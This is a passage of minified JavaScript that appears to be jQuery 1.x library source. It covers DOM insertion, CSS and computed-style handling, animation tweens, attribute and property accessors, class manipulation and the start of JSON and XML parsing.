this.domManip(arguments,function(b){a=this.parentNode,m.cleanData(ub(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,n=this,o=l-1,p=a[0],q=m.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&nb.test(p))return this.each(function(c){var d=n.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(i=m.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=m.map(ub(i,"script"),xb),f=g.length;l>j;j++)d=i,j!==o&&(d=m.clone(d,!0,!0),f&&m.merge(g,ub(d,"script"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,m.map(g,yb),j=0;f>j;j++)d=g[j],ob.test(d.type||"")&&!m._data(d,"globalEval")&&m.contains(h,d)&&(d.src?m._evalUrl&&m._evalUrl(d.src):m.globalEval((d.text||d.textContent||d.innerHTML||"").replace(qb,"")));i=c=null}return this}}),m.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){m.fn[a]=function(a){for(var c,d=0,e=[],g=m(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),m(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Cb,Db={};function Eb(b,c){var d,e=m(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:m.css(e[0],"display");return e.detach(),f}function Fb(a){var b=y,c=Db[a];return c||(c=Eb(a,b),"none"!==c&&c||(Cb=(Cb||m("<iframe frameborder='0' width='0' height='0'/>")).appendTo(b.documentElement),b=(Cb[0].contentWindow||Cb[0].contentDocument).document,b.write(),b.close(),c=Eb(a,b),Cb.detach()),Db[a]=c),c}!function(){var a;k.shrinkWrapBlocks=function(){if(null!=a)return a;a=!1;var b,c,d;return c=y.getElementsByTagName("body")[0],c&&c.style?(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),typeof b.style.zoom!==K&&(b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",b.appendChild(y.createElement("div")).style.width="5px",a=3!==b.offsetWidth),c.removeChild(d),a):void 0}}();var Gb=/^margin/,Hb=new RegExp("^("+S+")(?!px)[a-z%]+$","i"),Ib,Jb,Kb=/^(top|right|bottom|left)$/;a.getComputedStyle?(Ib=function(a){return a.ownerDocument.defaultView.getComputedStyle(a,null)},Jb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ib(a),g=c?c.getPropertyValue(b)||c[b]:void 0,c&&(""!==g||m.contains(a.ownerDocument,a)||(g=m.style(a,b)),Hb.test(g)&&Gb.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0===g?g:g+""}):y.documentElement.currentStyle&&(Ib=function(a){return a.currentStyle},Jb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ib(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Hb.test(g)&&!Kb.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left="fontSize"===b?"1em":g,g=h.pixelLeft+"px",h.left=d,f&&(e.left=f)),void 0===g?g:g+""||"auto"});function Lb(a,b){return{get:function(){var c=a();if(null!=c)return c?void delete this.get:(this.get=b).apply(this,arguments)}}}!function(){var b,c,d,e,f,g,h;if(b=y.createElement("div"),b.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",d=b.getElementsByTagName("a")[0],c=d&&d.style){c.cssText="float:left;opacity:.5",k.opacity="0.5"===c.opacity,k.cssFloat=!!c.cssFloat,b.style.backgroundClip="content-box",b.cloneNode(!0).style.backgroundClip="",k.clearCloneStyle="content-box"===b.style.backgroundClip,k.boxSizing=""===c.boxSizing||""===c.MozBoxSizing||""===c.WebkitBoxSizing,m.extend(k,{reliableHiddenOffsets:function(){return null==g&&i(),g},boxSizingReliable:function(){return null==f&&i(),f},pixelPosition:function(){return null==e&&i(),e},reliableMarginRight:function(){return null==h&&i(),h}});function i(){var b,c,d,i;c=y.getElementsByTagName("body")[0],c&&c.style&&(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),b.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute",e=f=!1,h=!0,a.getComputedStyle&&(e="1%"!==(a.getComputedStyle(b,null)||{}).top,f="4px"===(a.getComputedStyle(b,null)||{width:"4px"}).width,i=b.appendChild(y.createElement("div")),i.style.cssText=b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",i.style.marginRight=i.style.width="0",b.style.width="1px",h=!parseFloat((a.getComputedStyle(i,null)||{}).marginRight)),b.innerHTML="<table><tr><td></td><td>t</td></tr></table>",i=b.getElementsByTagName("td"),i[0].style.cssText="margin:0;border:0;padding:0;display:none",g=0===i[0].offsetHeight,g&&(i[0].style.display="",i[1].style.display="none",g=0===i[0].offsetHeight),c.removeChild(d))}}}(),m.swap=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};var Mb=/alpha\([^)]*\)/i,Nb=/opacity\s*=\s*([^)]*)/,Ob=/^(none|table(?!-c[ea]).+)/,Pb=new RegExp("^("+S+")(.*)$","i"),Qb=new RegExp("^([+-])=("+S+")","i"),Rb={position:"absolute",visibility:"hidden",display:"block"},Sb={letterSpacing:"0",fontWeight:"400"},Tb=["Webkit","O","Moz","ms"];function Ub(a,b){if(b in a)return b;var c=b.charAt(0).toUpperCase()+b.slice(1),d=b,e=Tb.length;while(e--)if(b=Tb[e]+c,b in a)return b;return d}function Vb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=m._data(d,"olddisplay"),c=d.style.display,b?(f[g]||"none"!==c||(d.style.display=""),""===d.style.display&&U(d)&&(f[g]=m._data(d,"olddisplay",Fb(d.nodeName)))):(e=U(d),(c&&"none"!==c||!e)&&m._data(d,"olddisplay",e?c:m.css(d,"display"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&"none"!==d.style.display&&""!==d.style.display||(d.style.display=b?f[g]||"":"none"));return a}function Wb(a,b,c){var d=Pb.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||"px"):b}function Xb(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;4>f;f+=2)"margin"===c&&(g+=m.css(a,c+T[f],!0,e)),d?("content"===c&&(g-=m.css(a,"padding"+T[f],!0,e)),"margin"!==c&&(g-=m.css(a,"border"+T[f]+"Width",!0,e))):(g+=m.css(a,"padding"+T[f],!0,e),"padding"!==c&&(g+=m.css(a,"border"+T[f]+"Width",!0,e)));return g}function Yb(a,b,c){var d=!0,e="width"===b?a.offsetWidth:a.offsetHeight,f=Ib(a),g=k.boxSizing&&"border-box"===m.css(a,"boxSizing",!1,f);if(0>=e||null==e){if(e=Jb(a,b,f),(0>e||null==e)&&(e=a.style[b]),Hb.test(e))return e;d=g&&(k.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+Xb(a,b,c||(g?"border":"content"),d,f)+"px"}m.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Jb(a,"opacity");return""===c?"1":c}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":k.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=m.camelCase(b),i=a.style;if(b=m.cssProps[h]||(m.cssProps[h]=Ub(i,h)),g=m.cssHooks[b]||m.cssHooks[h],void 0===c)return g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,"string"===f&&(e=Qb.exec(c))&&(c=(e[1]+1)*e[2]+parseFloat(m.css(a,b)),f="number"),null!=c&&c===c&&("number"!==f||m.cssNumber[h]||(c+="px"),k.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),!(g&&"set"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=m.camelCase(b);return b=m.cssProps[h]||(m.cssProps[h]=Ub(a.style,h)),g=m.cssHooks[b]||m.cssHooks[h],g&&"get"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Jb(a,b,d)),"normal"===f&&b in Sb&&(f=Sb[b]),""===c||c?(e=parseFloat(f),c===!0||m.isNumeric(e)?e||0:f):f}}),m.each(["height","width"],function(a,b){m.cssHooks[b]={get:function(a,c,d){return c?Ob.test(m.css(a,"display"))&&0===a.offsetWidth?m.swap(a,Rb,function(){return Yb(a,b,d)}):Yb(a,b,d):void 0},set:function(a,c,d){var e=d&&Ib(a);return Wb(a,c,d?Xb(a,b,d,k.boxSizing&&"border-box"===m.css(a,"boxSizing",!1,e),e):0)}}}),k.opacity||(m.cssHooks.opacity={get:function(a,b){return Nb.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=m.isNumeric(b)?"alpha(opacity="+100*b+")":"",f=d&&d.filter||c.filter||"";c.zoom=1,(b>=1||""===b)&&""===m.trim(f.replace(Mb,""))&&c.removeAttribute&&(c.removeAttribute("filter"),""===b||d&&!d.filter)||(c.filter=Mb.test(f)?f.replace(Mb,e):f+" "+e)}}),m.cssHooks.marginRight=Lb(k.reliableMarginRight,function(a,b){return b?m.swap(a,{display:"inline-block"},Jb,[a,"marginRight"]):void 0}),m.each({margin:"",padding:"",border:"Width"},function(a,b){m.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];4>d;d++)e[a+T[d]+b]=f[d]||f[d-2]||f[0];return e}},Gb.test(a)||(m.cssHooks[a+b].set=Wb)}),m.fn.extend({css:function(a,b){return V(this,function(a,b,c){var d,e,f={},g=0;if(m.isArray(b)){for(d=Ib(a),e=b.length;e>g;g++)f[b[g]]=m.css(a,b[g],!1,d);return f}return void 0!==c?m.style(a,b,c):m.css(a,b)},a,b,arguments.length>1)},show:function(){return Vb(this,!0)},hide:function(){return Vb(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){U(this)?m(this).show():m(this).hide()})}});function Zb(a,b,c,d,e){return new Zb.prototype.init(a,b,c,d,e)}m.Tween=Zb,Zb.prototype={constructor:Zb,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||"swing",this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(m.cssNumber[c]?"":"px")
+},cur:function(){var a=Zb.propHooks[this.prop];return a&&a.get?a.get(this):Zb.propHooks._default.get(this)},run:function(a){var b,c=Zb.propHooks[this.prop];return this.pos=b=this.options.duration?m.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Zb.propHooks._default.set(this),this}},Zb.prototype.init.prototype=Zb.prototype,Zb.propHooks={_default:{get:function(a){var b;return null==a.elem[a.prop]||a.elem.style&&null!=a.elem.style[a.prop]?(b=m.css(a.elem,a.prop,""),b&&"auto"!==b?b:0):a.elem[a.prop]},set:function(a){m.fx.step[a.prop]?m.fx.step[a.prop](a):a.elem.style&&(null!=a.elem.style[m.cssProps[a.prop]]||m.cssHooks[a.prop])?m.style(a.elem,a.prop,a.now+a.unit):a.elem[a.prop]=a.now}}},Zb.propHooks.scrollTop=Zb.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},m.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2}},m.fx=Zb.prototype.init,m.fx.step={};var $b,_b,ac=/^(?:toggle|show|hide)$/,bc=new RegExp("^(?:([+-])=|)("+S+")([a-z%]*)$","i"),cc=/queueHooks$/,dc=[ic],ec={"*":[function(a,b){var c=this.createTween(a,b),d=c.cur(),e=bc.exec(b),f=e&&e[3]||(m.cssNumber[a]?"":"px"),g=(m.cssNumber[a]||"px"!==f&&+d)&&bc.exec(m.css(c.elem,a)),h=1,i=20;if(g&&g[3]!==f){f=f||g[3],e=e||[],g=+d||1;do h=h||".5",g/=h,m.style(c.elem,a,g+f);while(h!==(h=c.cur()/d)&&1!==h&&--i)}return e&&(g=c.start=+g||+d||0,c.unit=f,c.end=e[1]?g+(e[1]+1)*e[2]:+e[2]),c}]};function fc(){return setTimeout(function(){$b=void 0}),$b=m.now()}function gc(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=T[e],d["margin"+c]=d["padding"+c]=a;return b&&(d.opacity=d.width=a),d}function hc(a,b,c){for(var d,e=(ec[b]||[]).concat(ec["*"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function ic(a,b,c){var d,e,f,g,h,i,j,l,n=this,o={},p=a.style,q=a.nodeType&&U(a),r=m._data(a,"fxshow");c.queue||(h=m._queueHooks(a,"fx"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,n.always(function(){n.always(function(){h.unqueued--,m.queue(a,"fx").length||h.empty.fire()})})),1===a.nodeType&&("height"in b||"width"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=m.css(a,"display"),l="none"===j?m._data(a,"olddisplay")||Fb(a.nodeName):j,"inline"===l&&"none"===m.css(a,"float")&&(k.inlineBlockNeedsLayout&&"inline"!==Fb(a.nodeName)?p.zoom=1:p.display="inline-block")),c.overflow&&(p.overflow="hidden",k.shrinkWrapBlocks()||n.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],ac.exec(e)){if(delete b[d],f=f||"toggle"===e,e===(q?"hide":"show")){if("show"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||m.style(a,d)}else j=void 0;if(m.isEmptyObject(o))"inline"===("none"===j?Fb(a.nodeName):j)&&(p.display=j);else{r?"hidden"in r&&(q=r.hidden):r=m._data(a,"fxshow",{}),f&&(r.hidden=!q),q?m(a).show():n.done(function(){m(a).hide()}),n.done(function(){var b;m._removeData(a,"fxshow");for(b in o)m.style(a,b,o[b])});for(d in o)g=hc(q?r[d]:0,d,n),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start="width"===d||"height"===d?1:0))}}function jc(a,b){var c,d,e,f,g;for(c in a)if(d=m.camelCase(c),e=b[d],f=a[c],m.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=m.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kc(a,b,c){var d,e,f=0,g=dc.length,h=m.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=$b||fc(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:m.extend({},b),opts:m.extend(!0,{specialEasing:{}},c),originalProperties:b,originalOptions:c,startTime:$b||fc(),duration:c.duration,tweens:[],createTween:function(b,c){var d=m.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?h.resolveWith(a,[j,b]):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jc(k,j.opts.specialEasing);g>f;f++)if(d=dc[f].call(j,a,k,j.opts))return d;return m.map(k,hc,j),m.isFunction(j.opts.start)&&j.opts.start.call(a,j),m.fx.timer(m.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}m.Animation=m.extend(kc,{tweener:function(a,b){m.isFunction(a)?(b=a,a=["*"]):a=a.split(" ");for(var c,d=0,e=a.length;e>d;d++)c=a[d],ec[c]=ec[c]||[],ec[c].unshift(b)},prefilter:function(a,b){b?dc.unshift(a):dc.push(a)}}),m.speed=function(a,b,c){var d=a&&"object"==typeof a?m.extend({},a):{complete:c||!c&&b||m.isFunction(a)&&a,duration:a,easing:c&&b||b&&!m.isFunction(b)&&b};return d.duration=m.fx.off?0:"number"==typeof d.duration?d.duration:d.duration in m.fx.speeds?m.fx.speeds[d.duration]:m.fx.speeds._default,(null==d.queue||d.queue===!0)&&(d.queue="fx"),d.old=d.complete,d.complete=function(){m.isFunction(d.old)&&d.old.call(this),d.queue&&m.dequeue(this,d.queue)},d},m.fn.extend({fadeTo:function(a,b,c,d){return this.filter(U).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=m.isEmptyObject(a),f=m.speed(b,c,d),g=function(){var b=kc(this,m.extend({},a),f);(e||m._data(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=m.timers,g=m._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&cc.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));(b||!c)&&m.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=m._data(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=m.timers,g=d?d.length:0;for(c.finish=!0,m.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),m.each(["toggle","show","hide"],function(a,b){var c=m.fn[b];m.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gc(b,!0),a,d,e)}}),m.each({slideDown:gc("show"),slideUp:gc("hide"),slideToggle:gc("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){m.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),m.timers=[],m.fx.tick=function(){var a,b=m.timers,c=0;for($b=m.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||m.fx.stop(),$b=void 0},m.fx.timer=function(a){m.timers.push(a),a()?m.fx.start():m.timers.pop()},m.fx.interval=13,m.fx.start=function(){_b||(_b=setInterval(m.fx.tick,m.fx.interval))},m.fx.stop=function(){clearInterval(_b),_b=null},m.fx.speeds={slow:600,fast:200,_default:400},m.fn.delay=function(a,b){return a=m.fx?m.fx.speeds[a]||a:a,b=b||"fx",this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},function(){var a,b,c,d,e;b=y.createElement("div"),b.setAttribute("className","t"),b.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",d=b.getElementsByTagName("a")[0],c=y.createElement("select"),e=c.appendChild(y.createElement("option")),a=b.getElementsByTagName("input")[0],d.style.cssText="top:1px",k.getSetAttribute="t"!==b.className,k.style=/top/.test(d.getAttribute("style")),k.hrefNormalized="/a"===d.getAttribute("href"),k.checkOn=!!a.value,k.optSelected=e.selected,k.enctype=!!y.createElement("form").enctype,c.disabled=!0,k.optDisabled=!e.disabled,a=y.createElement("input"),a.setAttribute("value",""),k.input=""===a.getAttribute("value"),a.value="t",a.setAttribute("type","radio"),k.radioValue="t"===a.value}();var lc=/\r/g;m.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=m.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,m(this).val()):a,null==e?e="":"number"==typeof e?e+="":m.isArray(e)&&(e=m.map(e,function(a){return null==a?"":a+""})),b=m.valHooks[this.type]||m.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=m.valHooks[e.type]||m.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(lc,""):null==c?"":c)}}}),m.extend({valHooks:{option:{get:function(a){var b=m.find.attr(a,"value");return null!=b?b:m.trim(m.text(a))}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e||(k.optDisabled?c.disabled:null!==c.getAttribute("disabled"))||c.parentNode.disabled&&m.nodeName(c.parentNode,"optgroup"))){if(b=m(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=m.makeArray(b),g=e.length;while(g--)if(d=e[g],m.inArray(m.valHooks.option.get(d),f)>=0)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),m.each(["radio","checkbox"],function(){m.valHooks[this]={set:function(a,b){return m.isArray(b)?a.checked=m.inArray(m(a).val(),b)>=0:void 0}},k.checkOn||(m.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var mc,nc,oc=m.expr.attrHandle,pc=/^(?:checked|selected)$/i,qc=k.getSetAttribute,rc=k.input;m.fn.extend({attr:function(a,b){return V(this,m.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){m.removeAttr(this,a)})}}),m.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(a&&3!==f&&8!==f&&2!==f)return typeof a.getAttribute===K?m.prop(a,b,c):(1===f&&m.isXMLDoc(a)||(b=b.toLowerCase(),d=m.attrHooks[b]||(m.expr.match.bool.test(b)?nc:mc)),void 0===c?d&&"get"in d&&null!==(e=d.get(a,b))?e:(e=m.find.attr(a,b),null==e?void 0:e):null!==c?d&&"set"in d&&void 0!==(e=d.set(a,c,b))?e:(a.setAttribute(b,c+""),c):void m.removeAttr(a,b))},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(E);if(f&&1===a.nodeType)while(c=f[e++])d=m.propFix[c]||c,m.expr.match.bool.test(c)?rc&&qc||!pc.test(c)?a[d]=!1:a[m.camelCase("default-"+c)]=a[d]=!1:m.attr(a,c,""),a.removeAttribute(qc?c:d)},attrHooks:{type:{set:function(a,b){if(!k.radioValue&&"radio"===b&&m.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}}}),nc={set:function(a,b,c){return b===!1?m.removeAttr(a,c):rc&&qc||!pc.test(c)?a.setAttribute(!qc&&m.propFix[c]||c,c):a[m.camelCase("default-"+c)]=a[c]=!0,c}},m.each(m.expr.match.bool.source.match(/\w+/g),function(a,b){var c=oc[b]||m.find.attr;oc[b]=rc&&qc||!pc.test(b)?function(a,b,d){var e,f;return d||(f=oc[b],oc[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,oc[b]=f),e}:function(a,b,c){return c?void 0:a[m.camelCase("default-"+b)]?b.toLowerCase():null}}),rc&&qc||(m.attrHooks.value={set:function(a,b,c){return m.nodeName(a,"input")?void(a.defaultValue=b):mc&&mc.set(a,b,c)}}),qc||(mc={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+="","value"===c||b===a.getAttribute(c)?b:void 0}},oc.id=oc.name=oc.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&""!==d.value?d.value:null},m.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:mc.set},m.attrHooks.contenteditable={set:function(a,b,c){mc.set(a,""===b?!1:b,c)}},m.each(["width","height"],function(a,b){m.attrHooks[b]={set:function(a,c){return""===c?(a.setAttribute(b,"auto"),c):void 0}}})),k.style||(m.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+""}});var sc=/^(?:input|select|textarea|button|object)$/i,tc=/^(?:a|area)$/i;m.fn.extend({prop:function(a,b){return V(this,m.prop,a,b,arguments.length>1)},removeProp:function(a){return a=m.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),m.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(a,b,c){var d,e,f,g=a.nodeType;if(a&&3!==g&&8!==g&&2!==g)return f=1!==g||!m.isXMLDoc(a),f&&(b=m.propFix[b]||b,e=m.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=m.find.attr(a,"tabindex");return b?parseInt(b,10):sc.test(a.nodeName)||tc.test(a.nodeName)&&a.href?0:-1}}}}),k.hrefNormalized||m.each(["href","src"],function(a,b){m.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),k.optSelected||(m.propHooks.selected={get:function(a){var b=a.parentNode;return b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null}}),m.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){m.propFix[this.toLowerCase()]=this}),k.enctype||(m.propFix.enctype="encoding");var uc=/[\t\r\n\f]/g;m.fn.extend({addClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j="string"==typeof a&&a;if(m.isFunction(a))return this.each(function(b){m(this).addClass(a.call(this,b,this.className))});if(j)for(b=(a||"").match(E)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(" "+c.className+" ").replace(uc," "):" ")){f=0;while(e=b[f++])d.indexOf(" "+e+" ")<0&&(d+=e+" ");g=m.trim(d),c.className!==g&&(c.className=g)}return this},removeClass:function(a){var b,c,d,e,f,g,h=0,i=this.length,j=0===arguments.length||"string"==typeof a&&a;if(m.isFunction(a))return this.each(function(b){m(this).removeClass(a.call(this,b,this.className))});if(j)for(b=(a||"").match(E)||[];i>h;h++)if(c=this[h],d=1===c.nodeType&&(c.className?(" "+c.className+" ").replace(uc," "):"")){f=0;while(e=b[f++])while(d.indexOf(" "+e+" ")>=0)d=d.replace(" "+e+" "," ");g=a?m.trim(d):"",c.className!==g&&(c.className=g)}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):this.each(m.isFunction(a)?function(c){m(this).toggleClass(a.call(this,c,this.className,b),b)}:function(){if("string"===c){var b,d=0,e=m(this),f=a.match(E)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===K||"boolean"===c)&&(this.className&&m._data(this,"__className__",this.className),this.className=this.className||a===!1?"":m._data(this,"__className__")||"")})},hasClass:function(a){for(var b=" "+a+" ",c=0,d=this.length;d>c;c++)if(1===this[c].nodeType&&(" "+this[c].className+" ").replace(uc," ").indexOf(b)>=0)return!0;return!1}}),m.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){m.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),m.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}});var vc=m.now(),wc=/\?/,xc=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;m.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=m.trim(b+"");return e&&!m.trim(e.replace(xc,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():m.error("Invalid JSON: "+b)},m.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new DOMParser,c=d.parseFromString(b,"text/xml")):(c=new 